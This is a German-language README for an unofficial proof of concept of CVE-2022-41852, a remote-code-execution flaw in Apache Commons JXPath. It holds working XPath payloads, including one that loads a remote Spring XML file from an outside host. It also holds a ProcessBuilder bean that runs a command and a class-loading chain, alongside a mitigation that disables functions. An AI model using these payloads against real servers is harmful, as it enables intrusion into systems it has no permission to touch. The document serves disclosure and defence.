
CVE-2022-41852 Proof of Concept (inoffiziell)
CVE-2022-41852 ermöglicht Angreifern, Code auf dem Anwendungsserver auszuführen.
Weitere Informationen zu dieser Schwachstelle findest du hier:
Hinweis: Ich bin nicht der Autor dieser CVE. Ich habe nur diesen Proof of Concept erstellt.
Die JXPath-Bibliothek unterstützt das Ausführen von Funktionen in XPath-Ausdrücken (siehe Offizieller Benutzerleitfaden).
Zum Beispiel sind die Methoden JXPathContext.getValue(path) und JXPathContext.iterate(path) gefährlich,
wenn der Benutzer Eingaben in den path-Parameter senden darf.
Dieser PoC startet einen einfachen Spring-Server mit zwei Endpunkten:
/vulnerable-example?path=[path]/secure-example?path=[path]Diese Endpunkte haben nur einen Abfrageparameter „path“.
Die folgenden Anfragen funktionieren einwandfrei (verursachen keine Probleme):
Die folgenden Anfragen führen zur Ausführung von Code:
Beispiel-Payloads zur Erkennung von CVE-2022-41852:
java.lang.System.exit(42)java.lang.Thread.sleep(10000)/|java.lang.System.exit(42)|java.lang.System.exit(42)Es gibt verschiedene Möglichkeiten, Befehle auszuführen. Eine davon ist die Verwendung von Springs ClassPathXmlApplicationContext:
org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")In der XML-Datei kannst du eine Bean-Konfiguration definieren, z. B. eine Instanz von ProcessBuilder erstellen und den angegebenen Befehl auf dem Server ausführen, indem du die Bean mit der Methode start() initialisierst. Im folgenden Beispiel wird auf einem Windows-Rechner der Taschenrechner geöffnet:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
Es gibt auch eine Möglichkeit, neue Klassen zu laden, indem die Context-Bean durchlaufen wird. Der folgende Code lädt beispielsweise die Klasse com.warxim.dangerous.DangerousClass, erstellt eine Instanz und ruft die Methode run("warxim") auf:
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);
Beachte, dass wir die Objektmethoden aufrufen müssen, indem wir das Objekt, das sie enthält, als ersten Parameter übergeben.
Es ist möglich, Funktionen in JXPathContext zu deaktivieren, indem das Feld functions auf eine leere FunctionLibrary gesetzt wird.
// Create path context for person object
var pathContext = JXPathContext.newContext(person);
// Set empty function library
pathContext.setFunctions(new FunctionLibrary());
// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);
Hinweis: Dadurch werden alle Funktionen deaktiviert, sodass selbst Funktionen wie size() nicht mehr verfügbar sind.
Der Fix wird entwickelt, siehe https://github.com/apache/commons-jxpath/pull/26